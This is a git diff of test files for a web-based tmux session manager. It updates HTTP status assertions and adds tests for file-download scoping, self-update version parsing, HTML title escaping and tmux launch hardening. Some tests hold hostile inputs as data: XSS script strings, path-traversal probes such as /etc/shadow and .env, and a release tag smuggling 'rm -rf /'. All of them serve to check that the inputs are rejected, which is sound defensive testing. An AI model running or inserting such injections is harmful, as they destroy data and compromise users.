-            openSubagentWindow: (id: string) => void;
-          }
-        }).app;
-        // Inject fake agent data
-        app.subagents.set(agentId, {
-          agentId,
-          sessionId: cSessionId,
-          status: 'active',
-          description: 'Performance test agent',
-          startedAt: Date.now(),
-          lastActivityAt: Date.now(),
-          toolCallCount: 0,
-          entryCount: 0,
-          fileSize: 0,
-        });
-        app.openSubagentWindow(agentId);
-      }, { agentId: 'perf-agent-1', cSessionId: claudeSessionId });
+      await page.evaluate(
+        ({ agentId, cSessionId }: { agentId: string; cSessionId: string }) => {
+          const app = (
+            window as unknown as {
+              app: {
+                subagents: Map<string, Record<string, unknown>>;
+                openSubagentWindow: (id: string) => void;
+              };
+            }
+          ).app;
+          // Inject fake agent data
+          app.subagents.set(agentId, {
+            agentId,
+            sessionId: cSessionId,
+            status: 'active',
+            description: 'Performance test agent',
+            startedAt: Date.now(),
+            lastActivityAt: Date.now(),
+            toolCallCount: 0,
+            entryCount: 0,
+            fileSize: 0,
+          });
+          app.openSubagentWindow(agentId);
+        },
+        { agentId: 'perf-agent-1', cSessionId: claudeSessionId }
+      );
       await page.waitForSelector('.subagent-window', { timeout: 3000 });
     });
 
@@ -679,7 +708,7 @@ describe('Subagent window simulation', () => {
           const el = document.getElementById('subagent-window-perf-agent-1');
           return el && el.style.display === 'none';
         },
-        { timeout: 2000 },
+        { timeout: 2000 }
       );
     });
 
@@ -698,33 +727,35 @@ describe('Subagent window simulation', () => {
 
     const timing = await measure(async () => {
       for (let i = 0; i < 5; i++) {
-        await page.evaluate(({ idx, cSessionId }: { idx: number; cSessionId: string }) => {
-          const agentId = `perf-multi-agent-${idx}`;
-          const app = (window as unknown as {
-            app: {
-              subagents: Map<string, Record<string, unknown>>;
-              openSubagentWindow: (id: string) => void;
-            }
-          }).app;
-          app.subagents.set(agentId, {
-            agentId,
-            sessionId: cSessionId,
-            status: 'active',
-            description: `Perf agent ${idx}`,
-            startedAt: Date.now(),
-            lastActivityAt: Date.now(),
-            toolCallCount: 0,
-            entryCount: 0,
-            fileSize: 0,
-          });
-          app.openSubagentWindow(agentId);
-        }, { idx: i, cSessionId: claudeSessionId });
+        await page.evaluate(
+          ({ idx, cSessionId }: { idx: number; cSessionId: string }) => {
+            const agentId = `perf-multi-agent-${idx}`;
+            const app = (
+              window as unknown as {
+                app: {
+                  subagents: Map<string, Record<string, unknown>>;
+                  openSubagentWindow: (id: string) => void;
+                };
+              }
+            ).app;
+            app.subagents.set(agentId, {
+              agentId,
+              sessionId: cSessionId,
+              status: 'active',
+              description: `Perf agent ${idx}`,
+              startedAt: Date.now(),
+              lastActivityAt: Date.now(),
+              toolCallCount: 0,
+              entryCount: 0,
+              fileSize: 0,
+            });
+            app.openSubagentWindow(agentId);
+          },
+          { idx: i, cSessionId: claudeSessionId }
+        );
       }
       // Wait for all 5
-      await page.waitForFunction(
-        () => document.querySelectorAll('.subagent-window').length >= 5,
-        { timeout: 5000 },
-      );
+      await page.waitForFunction(() => document.querySelectorAll('.subagent-window').length >= 5, { timeout: 5000 });
     });
 
     const windowCount = await page.locator('.subagent-window').count();
@@ -772,7 +803,7 @@ describe('SSE event throughput', () => {
     await page.waitForFunction(
       (count: number) => document.querySelectorAll('.session-tab').length >= count,
       sessionIds.length,
-      { timeout: 5000 },
+      { timeout: 5000 }
     );
     const elapsed = performance.now() - start;
 
@@ -797,7 +828,7 @@ describe('SSE event throughput', () => {
     await page.waitForFunction(
       (count: number) => document.querySelectorAll('.session-tab').length >= count,
       sessionIds.length,
-      { timeout: 5000 },
+      { timeout: 5000 }
     );
 
     const start = performance.now();
@@ -813,7 +844,7 @@ describe('SSE event throughput', () => {
         }
         return true;
       },
-      { timeout: 5000 },
+      { timeout: 5000 }
     );
     const elapsed = performance.now() - start;
 
@@ -880,11 +911,9 @@ describe('Memory usage under load', () => {
       const id = await createSession(page, `perf-mem-${i}`);
       sessionIds.push(id);
     }
-    await page.waitForFunction(
-      (count: number) => document.querySelectorAll('.session-tab').length >= count,
-      10,
-      { timeout: 5000 },
-    );
+    await page.waitForFunction((count: number) => document.querySelectorAll('.session-tab').length >= count, 10, {
+      timeout: 5000,
+    });
 
     // Switch through all tabs
     for (const id of sessionIds) {
@@ -895,10 +924,13 @@ describe('Memory usage under load', () => {
     const heapAfter = await getHeapMB(page);
     const heapGrowth = heapAfter - heapBefore;
 
-    console.log(`[memory] before: ${heapBefore.toFixed(1)}MB, after: ${heapAfter.toFixed(1)}MB, growth: ${heapGrowth.toFixed(1)}MB`);
+    console.log(
+      `[memory] before: ${heapBefore.toFixed(1)}MB, after: ${heapAfter.toFixed(1)}MB, growth: ${heapGrowth.toFixed(1)}MB`
+    );
 
     // Heap should stay under absolute limit
-    if (heapAfter > 0) { // memory API may not be available
+    if (heapAfter > 0) {
+      // memory API may not be available
       expect(heapAfter).toBeLessThan(THRESHOLDS.MEMORY_HEAP_MB);
     }
   });

test/push-payload-host-title.test.ts

@@ -47,7 +47,8 @@ interface PushPayload {
 
 function makeServerWithHost(host: string): WebServer {
   // Constructor only assigns fields — no network/disk activity until start().
-  const server = new WebServer(0, false, true, host);
+  // 4th arg is the bind host; the title hostname is the 5th arg.
+  const server = new WebServer(0, false, true, '127.0.0.1', host);
   // Stub push store: one subscription with all events enabled.
   const fakeSub = {
     endpoint: 'https://push.example.com/abc',

test/ralph-integration.test.ts

@@ -106,7 +106,7 @@ describe('Ralph Integration Tests', () => {
       const res = await fetch(`${baseUrl}/api/sessions/non-existent-id`);
       const data = await res.json();
 
-      expect(res.status).toBe(200);
+      expect(res.status).toBe(404);
       expect(data.success).toBe(false);
       expect(data.errorCode).toBe('NOT_FOUND');
     });
@@ -136,7 +136,8 @@ describe('Ralph Integration Tests', () => {
       // Verify session is gone
       const getRes = await fetch(`${baseUrl}/api/sessions/${sessionId}`);
       const getData = await getRes.json();
-      expect(getData.error).toBe('Session not found');
+      expect(getRes.status).toBe(404);
+      expect(getData.error).toContain('not found');
     });
 
     it('should create shell session', async () => {
@@ -191,7 +192,7 @@ describe('Ralph Integration Tests', () => {
       const res = await fetch(`${baseUrl}/api/sessions/fake-session/ralph-state`);
       const data = await res.json();
 
-      expect(res.status).toBe(200);
+      expect(res.status).toBe(404);
       expect(data.success).toBe(false);
       expect(data.error).toContain('not found');
     });
@@ -359,7 +360,7 @@ describe('Ralph Integration Tests', () => {
       });
       const data = await res.json();
 
-      expect(res.status).toBe(200);
+      expect(res.status).toBe(400);
       expect(data.success).toBe(false);
       expect(data.errorCode).toBe('INVALID_INPUT');
     });
@@ -372,7 +373,7 @@ describe('Ralph Integration Tests', () => {
       });
       const data = await res.json();
 
-      expect(res.status).toBe(200);
+      expect(res.status).toBe(404);
       expect(data.success).toBe(false);
       expect(data.errorCode).toBe('NOT_FOUND');
     });
@@ -395,7 +396,7 @@ describe('Ralph Integration Tests', () => {
       createdSessions.push(createData.sessionId);
 
       // Wait for session to be ready
-      await new Promise(r => setTimeout(r, 200));
+      await new Promise((r) => setTimeout(r, 200));
 
       const res = await fetch(`${baseUrl}/api/sessions/${createData.sessionId}/resize`, {
         method: 'POST',
@@ -422,7 +423,7 @@ describe('Ralph Integration Tests', () => {
       createdSessions.push(createData.sessionId);
 
       // Wait for session to be ready
-      await new Promise(r => setTimeout(r, 200));
+      await new Promise((r) => setTimeout(r, 200));
 
       const res = await fetch(`${baseUrl}/api/sessions/${createData.sessionId}/resize`, {
         method: 'POST',
@@ -431,7 +432,7 @@ describe('Ralph Integration Tests', () => {
       });
       const data = await res.json();
 
-      expect(res.status).toBe(200);
+      expect(res.status).toBe(400);
       expect(data.success).toBe(false);
       expect(data.errorCode).toBe('INVALID_INPUT');
     });
@@ -472,7 +473,7 @@ describe('Ralph Integration Tests', () => {
       });
       const data = await res.json();
 
-      expect(res.status).toBe(200);
+      expect(res.status).toBe(404);
       expect(data.success).toBe(false);
       expect(data.errorCode).toBe('NOT_FOUND');
     });
@@ -497,7 +498,7 @@ describe('Ralph Integration Tests', () => {
       });
       const data = await res.json();
 
-      expect(res.status).toBe(200);
+      expect(res.status).toBe(400);
       expect(data.success).toBe(false);
       expect(data.errorCode).toBe('INVALID_INPUT');
     });
@@ -536,7 +537,7 @@ describe('Ralph Integration Tests', () => {
       });
       const data = await res.json();
 
-      expect(res.status).toBe(200);
+      expect(res.status).toBe(404);
       expect(data.success).toBe(false);
       expect(data.errorCode).toBe('NOT_FOUND');
     });
@@ -561,7 +562,7 @@ describe('Ralph Integration Tests', () => {
       });
       const data = await res.json();
 
-      expect(res.status).toBe(200);
+      expect(res.status).toBe(400);
       expect(data.success).toBe(false);
       expect(data.errorCode).toBe('INVALID_INPUT');
     });
@@ -626,7 +627,7 @@ describe('Ralph Integration Tests', () => {
       });
       const data = await res.json();
 
-      expect(res.status).toBe(200);
+      expect(res.status).toBe(404);
       expect(data.success).toBe(false);
       expect(data.errorCode).toBe('NOT_FOUND');
     });
@@ -907,7 +908,7 @@ describe('Ralph Integration Tests', () => {
       });
       const data = await res.json();
 
-      expect(res.status).toBe(200);
+      expect(res.status).toBe(404);
       expect(data.success).toBe(false);
       expect(data.errorCode).toBe('NOT_FOUND');
     });
@@ -991,7 +992,7 @@ describe('Ralph Integration Tests', () => {
       const res = await fetch(`${baseUrl}/api/sessions/fake-session/output`);
       const data = await res.json();
 
-      expect(res.status).toBe(200);
+      expect(res.status).toBe(404);
       expect(data.success).toBe(false);
       expect(data.errorCode).toBe('NOT_FOUND');
     });
@@ -1021,7 +1022,7 @@ describe('Ralph Integration Tests', () => {
       const res = await fetch(`${baseUrl}/api/sessions/fake-session/terminal`);
       const data = await res.json();
 
-      expect(res.status).toBe(200);
+      expect(res.status).toBe(404);
       expect(data.success).toBe(false);
       expect(data.errorCode).toBe('NOT_FOUND');
     });

test/routes/file-routes.test.ts

@@ -305,6 +305,22 @@ describe('file-routes', () => {
       expect(res.headers['content-type']).toBe('image/png');
     });
 
+    it('serves workspace SVG as an untrusted attachment instead of inline image/svg+xml', async () => {
+      const content = Buffer.from('<svg><script>alert("xss")</script></svg>');
+      mockedReadFile.mockResolvedValue(content as never);
+      mockedStat.mockResolvedValue({ size: content.length } as never);
+
+      const res = await harness.app.inject({
+        method: 'GET',
+        url: `/api/sessions/${harness.ctx._sessionId}/file-raw?path=malicious.svg`,
+      });
+
+      expect(res.statusCode).toBe(200);
+      expect(res.headers['content-type']).toBe('application/octet-stream');
+      expect(res.headers['content-disposition']).toContain('attachment; filename="malicious.svg"');
+      expect(res.headers['x-content-type-options']).toBe('nosniff');
+    });
+
     it('rejects path traversal in raw file serving', async () => {
       mockedRealpathSync.mockReturnValue('/etc/shadow' as never);
 
@@ -363,4 +379,63 @@ describe('file-routes', () => {
       expect(body.success).toBe(false);
     });
   });
+
+  // ========== GET /api/download ==========
+
+  describe('GET /api/download', () => {
+    it('requires a sessionId to scope downloads', async () => {
+      const res = await harness.app.inject({
+        method: 'GET',
+        url: `/api/download?path=${encodeURIComponent('/tmp/test-workdir/report.txt')}`,
+      });
+
+      expect(res.statusCode).toBe(400);
+    });
+
+    it('downloads files scoped to the session working directory', async () => {
+      const content = Buffer.from('download content');
+      mockedReadFile.mockResolvedValue(content as never);
+      mockedStat.mockResolvedValue({ size: content.length, isFile: () => true } as never);
+
+      const res = await harness.app.inject({
+        method: 'GET',
+        url: `/api/download?sessionId=${harness.ctx._sessionId}&path=report.txt`,
+      });
+
+      expect(res.statusCode).toBe(200);
+      expect(res.headers['content-disposition']).toContain('filename="report.txt"');
+      expect(res.body).toBe('download content');
+    });
+
+    it('rejects absolute paths outside the session working directory', async () => {
+      const res = await harness.app.inject({
+        method: 'GET',
+        url: `/api/download?sessionId=${harness.ctx._sessionId}&path=${encodeURIComponent('/var/log/app.log')}`,
+      });
+
+      expect(res.statusCode).toBe(404);
+    });
+
+    it('rejects symlink targets that escape the session working directory', async () => {
+      mockedRealpathSync.mockReturnValue('/tmp/outside-workdir/link.log' as never);
+
+      const res = await harness.app.inject({
+        method: 'GET',
+        url: `/api/download?sessionId=${harness.ctx._sessionId}&path=${encodeURIComponent(
+          '/tmp/test-workdir/link.log'
+        )}`,
+      });
+
+      expect(res.statusCode).toBe(404);
+    });
+
+    it('blocks sensitive files even when they are inside the session working directory', async () => {
+      const res = await harness.app.inject({
+        method: 'GET',
+        url: `/api/download?sessionId=${harness.ctx._sessionId}&path=.env`,
+      });
+
+      expect(res.statusCode).toBe(403);
+    });
+  });
 });

test/routes/ws-routes.test.ts

@@ -84,7 +84,7 @@ describe('ws-routes', () => {
     await app.register(fastifyWebsocket);
 
     ctx = createMockRouteContext({ sessionId: 'ws-test-session' });
-    registerWsRoutes(app, ctx as never);
+    registerWsRoutes(app, ctx as never, () => ({ bindHost: '127.0.0.1', allowedHosts: [], tunnelHost: null }));
 
     await app.listen({ port: PORT, host: '127.0.0.1' });
   });

test/self-update.test.ts

@@ -0,0 +1,156 @@
+/**
+ * @fileoverview Unit tests for the self-updater's pure logic: release-tag/semver
+ * parsing, "update available" computation, and the boot-time reconcile state
+ * machine. No IO, no tmux, no port — safe to run individually.
+ *
+ *   npm test -- test/self-update.test.ts
+ */
+
+import { describe, it, expect } from 'vitest';
+import {
+  parseVersionFromTag,
+  compareVersions,
+  isNewerStableVersion,
+  pickLatestStableTag,
+  isValidReleaseTag,
+  parseGitHubRepo,
+  reconcileStatusDecision,
+} from '../src/web/self-update.js';
+import type { UpdateStatus } from '../src/types/update.js';
+
+describe('parseVersionFromTag', () => {
+  it('parses the codeman@ / aicodeman@ / v / bare forms', () => {
+    expect(parseVersionFromTag('codeman@0.9.3')).toMatchObject({ major: 0, minor: 9, patch: 3, prerelease: '' });
+    expect(parseVersionFromTag('aicodeman@1.2.3')).toMatchObject({ major: 1, minor: 2, patch: 3 });
+    expect(parseVersionFromTag('v0.10.0')).toMatchObject({ major: 0, minor: 10, patch: 0 });
+    expect(parseVersionFromTag('0.9.3')).toMatchObject({ major: 0, minor: 9, patch: 3 });
+  });
+
+  it('captures a prerelease suffix', () => {
+    expect(parseVersionFromTag('codeman@0.9.3-rc1')).toMatchObject({ patch: 3, prerelease: 'rc1' });
+  });
+
+  it('returns null when there is no X.Y.Z', () => {
+    expect(parseVersionFromTag('codeman@latest')).toBeNull();
+    expect(parseVersionFromTag('garbage')).toBeNull();
+  });
+});
+
+describe('compareVersions', () => {
+  const v = (s: string) => parseVersionFromTag(s)!;
+  it('orders by major/minor/patch', () => {
+    expect(compareVersions(v('0.10.0'), v('0.9.3'))).toBeGreaterThan(0);
+    expect(compareVersions(v('0.9.3'), v('0.10.0'))).toBeLessThan(0);
+    expect(compareVersions(v('1.0.0'), v('0.99.99'))).toBeGreaterThan(0);
+    expect(compareVersions(v('0.9.3'), v('0.9.3'))).toBe(0);
+  });
+
+  it('ranks a release above a prerelease of the same core', () => {
+    expect(compareVersions(v('0.9.3'), v('0.9.3-rc1'))).toBeGreaterThan(0);
+    expect(compareVersions(v('0.9.3-rc1'), v('0.9.3'))).toBeLessThan(0);
+  });
+});
+
+describe('isNewerStableVersion', () => {
+  it('true only for a strictly newer stable release', () => {
+    expect(isNewerStableVersion('0.9.3', '0.9.4')).toBe(true);
+    expect(isNewerStableVersion('0.9.3', '0.10.0')).toBe(true);
+  });
+  it('false for same/older', () => {
+    expect(isNewerStableVersion('0.9.3', '0.9.3')).toBe(false);
+    expect(isNewerStableVersion('0.9.4', '0.9.3')).toBe(false);
+  });
+  it('never offers a prerelease as an update', () => {
+    expect(isNewerStableVersion('0.9.3', '0.9.4-rc1')).toBe(false);
+  });
+  it('false on unparseable input', () => {
+    expect(isNewerStableVersion('0.9.3', 'nope')).toBe(false);
+  });
+});
+
+describe('pickLatestStableTag', () => {
+  it('picks the highest stable tag from ls-remote-style refs', () => {
+    const refs = [
+      'deadbeef\trefs/tags/codeman@0.8.2',
+      'cafef00d\trefs/tags/codeman@0.9.3',
+      'abc123\trefs/tags/codeman@0.10.0',
+      'abc123\trefs/tags/codeman@0.10.0^{}', // dereferenced dup
+    ];
+    expect(pickLatestStableTag(refs)).toEqual({ tag: 'codeman@0.10.0', version: '0.10.0' });
+  });
+
+  it('skips prereleases and unrecognized tags', () => {
+    const refs = ['x\trefs/tags/codeman@0.9.3', 'y\trefs/tags/codeman@0.9.4-rc1', 'z\trefs/tags/some-random-tag'];
+    expect(pickLatestStableTag(refs)).toEqual({ tag: 'codeman@0.9.3', version: '0.9.3' });
+  });
+
+  it('returns null when nothing matches', () => {
+    expect(pickLatestStableTag([])).toBeNull();
+    expect(pickLatestStableTag(['refs/tags/nightly', 'refs/heads/master'])).toBeNull();
+  });
+});
+
+describe('isValidReleaseTag', () => {
+  it('accepts only codeman@/aicodeman@ X.Y.Z (shell-injection guard)', () => {
+    expect(isValidReleaseTag('codeman@0.9.4')).toBe(true);
+    expect(isValidReleaseTag('aicodeman@1.0.0')).toBe(true);
+    expect(isValidReleaseTag('v0.9.4')).toBe(false);
+    expect(isValidReleaseTag('codeman@0.9.4; rm -rf /')).toBe(false);
+    expect(isValidReleaseTag('codeman@latest')).toBe(false);
+  });
+});
+
+describe('parseGitHubRepo', () => {
+  it('handles SSH and HTTPS remotes', () => {
+    expect(parseGitHubRepo('git@github.com:Ark0N/Codeman.git')).toEqual({ owner: 'Ark0N', repo: 'Codeman' });
+    expect(parseGitHubRepo('https://github.com/Ark0N/Codeman.git')).toEqual({ owner: 'Ark0N', repo: 'Codeman' });
+    expect(parseGitHubRepo('https://github.com/Ark0N/Codeman')).toEqual({ owner: 'Ark0N', repo: 'Codeman' });
+  });
+  it('returns null for non-GitHub remotes', () => {
+    expect(parseGitHubRepo('https://gitlab.com/x/y.git')).toBeNull();
+  });
+});
+
+describe('reconcileStatusDecision (boot handoff state machine)', () => {
+  const NOW = 1_000_000_000_000;
+  const base = (over: Partial<UpdateStatus>): UpdateStatus => ({
+    updateId: 'u1',
+    phase: 'restarting',
+    message: '',
+    fromVersion: '0.9.3',
+    toVersion: '0.9.4',
+    startedAt: NOW - 5_000,
+    updatedAt: NOW - 5_000,
+    ...over,
+  });
+
+  it('no status / terminal status → untouched', () => {
+    expect(reconcileStatusDecision(null, '0.9.4', NOW)).toBeNull();
+    expect(reconcileStatusDecision(base({ phase: 'completed' }), '0.9.4', NOW)).toBeNull();
+    expect(reconcileStatusDecision(base({ phase: 'failed' }), '0.9.4', NOW)).toBeNull();
+  });
+
+  it('restarting + running version matches target → completed', () => {
+    const out = reconcileStatusDecision(base({ phase: 'restarting' }), '0.9.4', NOW);
+    expect(out?.phase).toBe('completed');
+    expect(out?.updatedAt).toBe(NOW);
+  });
+
+  it('restarting + version unchanged → failed', () => {
+    const out = reconcileStatusDecision(base({ phase: 'restarting' }), '0.9.3', NOW);
+    expect(out?.phase).toBe('failed');
+    expect(out?.error).toContain('0.9.4');
+  });
+
+  it('a fresh non-restart in-flight phase is left for the live updater', () => {
+    expect(reconcileStatusDecision(base({ phase: 'building' }), '0.9.3', NOW)).toBeNull();
+    expect(reconcileStatusDecision(base({ phase: 'installing' }), '0.9.3', NOW)).toBeNull();
+  });
+
+  it('a stale (abandoned) in-flight phase is failed by the backstop', () => {
+    const stale = base({ phase: 'building', startedAt: NOW - 20 * 60 * 1000 });
+    const out = reconcileStatusDecision(stale, '0.9.3', NOW);
+    expect(out?.phase).toBe('failed');
+    expect(out?.error).toContain('building');
+  });
+});

test/server-index-title.test.ts

@@ -32,36 +32,38 @@ const __dirname = dirname(fileURLToPath(import.meta.url));
 const indexHtmlPath = join(__dirname, '..', 'src', 'web', 'public', 'index.html');
 const rawTemplate = readFileSync(indexHtmlPath, 'utf-8');
 
-function render(host?: string): string {
-  const server = new WebServer(0, false, true, host);
-  return (server as unknown as { renderIndexHtml: () => string }).renderIndexHtml();
+async function render(host?: string): Promise<string> {
+  // 4th arg is the bind host; the title hostname is the 5th arg.
+  const server = new WebServer(0, false, true, '127.0.0.1', host);
+  // renderIndexHtml is async (it reads settings.json for the gesture bundle).
+  return (server as unknown as { renderIndexHtml: () => Promise<string> }).renderIndexHtml();
 }
 
 describe('WebServer index.html <title> templating (#82)', () => {
-  it('substitutes the bare <title>Codeman</title> with codeman:<host>', () => {
-    const html = render('laptop');
+  it('substitutes the bare <title>Codeman</title> with codeman:<host>', async () => {
+    const html = await render('laptop');
     expect(html).toContain('<title>codeman:laptop</title>');
     expect(html).not.toContain('<title>Codeman</title>');
   });
 
-  it('defaults to os.hostname() when no titleHostname is supplied', () => {
-    const html = render();
+  it('defaults to os.hostname() when no titleHostname is supplied', async () => {
+    const html = await render();
     const expected = `<title>codeman:${osHostname()}</title>`;
     expect(html).toContain(expected);
   });
 
-  it('treats an empty-string titleHostname as "not supplied" and falls back to os.hostname()', () => {
+  it('treats an empty-string titleHostname as "not supplied" and falls back to os.hostname()', async () => {
     // CLI normally guarantees a non-empty string, but the constructor's
     // `titleHostname || getHostname()` guard makes empty fall through —
     // pin that behavior so a future refactor doesn't accidentally ship
     // a `<title>codeman:</title>` to users.
-    const html = render('');
+    const html = await render('');
     expect(html).toMatch(/<title>codeman:.+<\/title>/);
     expect(html).not.toContain('<title>codeman:</title>');
   });
 
-  it('HTML-escapes < > & in the hostname so it cannot break out of the title tag', () => {
-    const html = render('<script>alert(1)</script>');
+  it('HTML-escapes < > & in the hostname so it cannot break out of the title tag', async () => {
+    const html = await render('<script>alert(1)</script>');
     expect(html).toContain('<title>codeman:&lt;script&gt;alert(1)&lt;/script&gt;</title>');
     // The raw closing </title> from the injected payload must NOT appear
     // outside the actual title element — escape-then-substitute prevents
@@ -69,16 +71,18 @@ describe('WebServer index.html <title> templating (#82)', () => {
     expect(html).not.toContain('<script>alert(1)</script></title>');
   });
 
-  it('escapes an ampersand without double-encoding existing entities', () => {
+  it('escapes an ampersand without double-encoding existing entities', async () => {
     // The escaper replaces & first, then < and >. A hostname that already
     // contains a literal `&` should render as `&amp;` once, not `&amp;amp;`.
-    const html = render('a&b');
+    const html = await render('a&b');
     expect(html).toContain('<title>codeman:a&amp;b</title>');
     expect(html).not.toContain('&amp;amp;');
   });
 
-  it('only substitutes the <title> tag — the rest of the template is byte-for-byte identical', () => {
-    const html = render('laptop');
+  it('only substitutes the <title> tag — the rest of the template is identical (modulo asset cache-busting)', async () => {
+    // renderIndexHtml also appends ?v=<mtime> cache-bust params to same-origin
+    // .js/.css refs; strip them so the title remains the only other change.
+    const html = (await render('laptop')).replace(/(\.(?:js|css))\?v=[^"]*/g, '$1');
     const beforeTitle = rawTemplate.split('<title>Codeman</title>')[0];
     const afterTitle = rawTemplate.split('<title>Codeman</title>')[1];
     expect(html.startsWith(beforeTitle)).toBe(true);
@@ -88,8 +92,8 @@ describe('WebServer index.html <title> templating (#82)', () => {
     expect(html.length - rawTemplate.length).toBe(expectedDelta);
   });
 
-  it('replaces the <title> placeholder exactly once', () => {
-    const html = render('laptop');
+  it('replaces the <title> placeholder exactly once', async () => {
+    const html = await render('laptop');
     // Defense against a future regression where the template gains a
     // second `<title>Codeman</title>` (e.g. inside a <noscript>) and only
     // the first gets templated — would leave a stale literal in the served
@@ -100,9 +104,9 @@ describe('WebServer index.html <title> templating (#82)', () => {
     expect(occurrencesOfOld).toBe(0);
   });
 
-  it('two WebServer instances on different hostnames render distinct titles', () => {
-    const htmlA = render('host-a');
-    const htmlB = render('host-b');
+  it('two WebServer instances on different hostnames render distinct titles', async () => {
+    const htmlA = await render('host-a');
+    const htmlB = await render('host-b');
     expect(htmlA).toContain('<title>codeman:host-a</title>');
     expect(htmlB).toContain('<title>codeman:host-b</title>');
     expect(htmlA).not.toContain('host-b');

test/setup.ts

@@ -6,11 +6,15 @@
  * This means tests CANNOT kill, create, or interact with real tmux
  * sessions regardless of what the test code does.
  *
- * This setup file only handles mock/timer cleanup between tests.
+ * This setup file strips shell-level auth configuration that can leak from a
+ * running Codeman instance, then handles mock/timer cleanup between tests.
  */
 
 import { afterEach, vi } from 'vitest';
 
+delete process.env.CODEMAN_PASSWORD;
+delete process.env.CODEMAN_USERNAME;
+
 afterEach(() => {
   vi.clearAllMocks();
   vi.useRealTimers();

test/tmux-manager.test.ts

@@ -20,6 +20,17 @@ vi.mock('node:child_process', async () => {
   const actual = await vi.importActual('node:child_process');
   return {
     ...actual,
+    exec: vi.fn((_cmd: string, optionsOrCallback?: unknown, maybeCallback?: unknown) => {
+      const callback = typeof optionsOrCallback === 'function' ? optionsOrCallback : maybeCallback;
+      if (typeof callback === 'function') {
+        setImmediate(() => callback(null, '', ''));
+      }
+      return {
+        on: vi.fn(),
+        kill: vi.fn(),
+        pid: 12345,
+      };
+    }),
     execSync: vi.fn(),
     spawn: vi.fn(() => ({
       unref: vi.fn(),
@@ -41,6 +52,15 @@ vi.mock('node:fs', async () => {
   };
 });
 
+vi.mock('node:fs/promises', async () => {
+  const actual = await vi.importActual('node:fs/promises');
+  return {
+    ...actual,
+    writeFile: vi.fn(() => Promise.resolve()),
+    rename: vi.fn(() => Promise.resolve()),
+  };
+});
+
 describe('TmuxManager (unit)', () => {
   let manager: TmuxManager;
   const mockedExecSync = vi.mocked(execSync);
@@ -369,6 +389,95 @@ describe('TmuxManager (unit)', () => {
       // No error thrown
     });
   });
+
+  describe('tmux launch cwd hardening', () => {
+    async function importWithTmuxCommandsEnabled(): Promise<typeof TmuxManager> {
+      const originalVitest = process.env.VITEST;
+      vi.resetModules();
+      delete process.env.VITEST;
+      const module = await import('../src/tmux-manager.js');
+      if (originalVitest === undefined) {
+        delete process.env.VITEST;
+      } else {
+        process.env.VITEST = originalVitest;
+      }
+      return module.TmuxManager;
+    }
+
+    beforeEach(() => {
+      mockedExecSync.mockImplementation((cmd: string) => {
+        if (typeof cmd === 'string' && cmd.includes('which tmux')) {
+          return '/usr/bin/tmux\n';
+        }
+        if (typeof cmd === 'string' && cmd.includes('display-message') && cmd.includes('#{pane_pid}')) {
+          return '4242\n';
+        }
+        return '';
+      });
+    });
+
+    it('starts new tmux sessions from /tmp and cd-bounces into the requested workspace', async () => {
+      const NonTestTmuxManager = await importWithTmuxCommandsEnabled();
+      const nonTestManager = new NonTestTmuxManager();
+
+      try {
+        const session = await nonTestManager.createSession({
+          sessionId: 'abc12345-1234-5678-90ab-cdef12345678',
+          workingDir: '/mnt/gdrive/project with spaces',
+          mode: 'shell',
+        });
+
+        expect(session.workingDir).toBe('/mnt/gdrive/project with spaces');
+        expect(session.pid).toBe(4242);
+
+        const newSessionCall = mockedExecSync.mock.calls.find(
+          ([cmd]) => typeof cmd === 'string' && cmd.includes(' new-session ')
+        );
+        expect(newSessionCall?.[0]).toBe(`tmux -L 'codeman' new-session -ds "codeman-abc12345" -c /tmp`);
+        expect(newSessionCall?.[1]).toEqual(expect.objectContaining({ cwd: '/tmp' }));
+
+        const respawnCall = mockedExecSync.mock.calls.find(
+          ([cmd]) => typeof cmd === 'string' && cmd.includes(' respawn-pane ')
+        );
+        expect(respawnCall?.[0]).toContain(`tmux -L 'codeman' respawn-pane -k -c /tmp -t "codeman-abc12345"`);
+        expect(respawnCall?.[0]).toContain('cd \\"/mnt/gdrive/project with spaces\\" &&');
+      } finally {
+        nonTestManager.destroy();
+      }
+    });
+
+    it('respawns existing panes from /tmp and cd-bounces into the requested workspace', async () => {
+      const NonTestTmuxManager = await importWithTmuxCommandsEnabled();
+      const nonTestManager = new NonTestTmuxManager();
+      nonTestManager.registerSession({
+        sessionId: 'respawn1234',
+        muxName: 'codeman-abcd1234',
+        pid: 1000,
+        createdAt: Date.now(),
+        workingDir: '/tmp',
+        mode: 'shell',
+        attached: false,
+      });
+
+      try {
+        const pid = await nonTestManager.respawnPane({
+          sessionId: 'respawn1234',
+          workingDir: '/mnt/gdrive/project',
+          mode: 'shell',
+        });
+
+        expect(pid).toBe(4242);
+        const { exec: currentExec } = await import('node:child_process');
+        const respawnCall = vi
+          .mocked(currentExec)
+          .mock.calls.find(([cmd]) => typeof cmd === 'string' && cmd.includes(' respawn-pane '));
+        expect(respawnCall?.[0]).toContain(`tmux -L 'codeman' respawn-pane -k -c /tmp -t "codeman-abcd1234"`);
+        expect(respawnCall?.[0]).toContain('cd \\"/mnt/gdrive/project\\" &&');
+      } finally {
+        nonTestManager.destroy();
+      }
+    });
+  });
 });
 
 // ============================================================================